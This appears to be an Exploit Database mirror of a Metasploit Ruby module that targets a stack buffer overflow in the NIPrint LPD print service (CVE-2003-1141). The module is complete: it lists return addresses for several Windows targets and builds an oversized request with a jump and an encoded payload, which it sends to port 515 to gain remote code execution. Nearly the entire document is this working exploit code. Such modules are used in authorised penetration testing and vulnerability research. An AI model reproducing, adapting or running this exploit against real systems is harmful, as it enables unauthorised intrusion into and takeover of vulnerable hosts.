NIPrint LPD – Request Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-12-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16336/

• ##
  # $Id: niprint.rb 11407 2010-12-25 06:01:12Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'NIPrint LPD Request Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the
  				Network Instrument NIPrint LPD service. Inspired by
  				Immunity's VisualSploit :-)
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11407 $',
  			'References' =>
  				[
  					['CVE', '2003-1141'],
  					['OSVDB', '2774'],
  					['BID', '8968'],
  					['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
  					['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
  					['Windows 7 x64', { 'Ret' => 0x763B35DD }],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Nov 05 2003'))
  
  		register_options(
  			[
  				Opt::RPORT(515)
  			], self.class )
  	end
  
  	def exploit
  		connect
  
  		req = rand_text_alphanumeric(8192)
  		req[0, 2] = "\xeb\x33"
  		req[ 49, 4] = [target.ret].pack('V')
  		req[ 53, payload.encoded.length ] = payload.encoded
  
  		print_status("Trying target #{target.name}...")
  		sock.put(req)
  
  		handler
  		disconnect
  	end
  
  end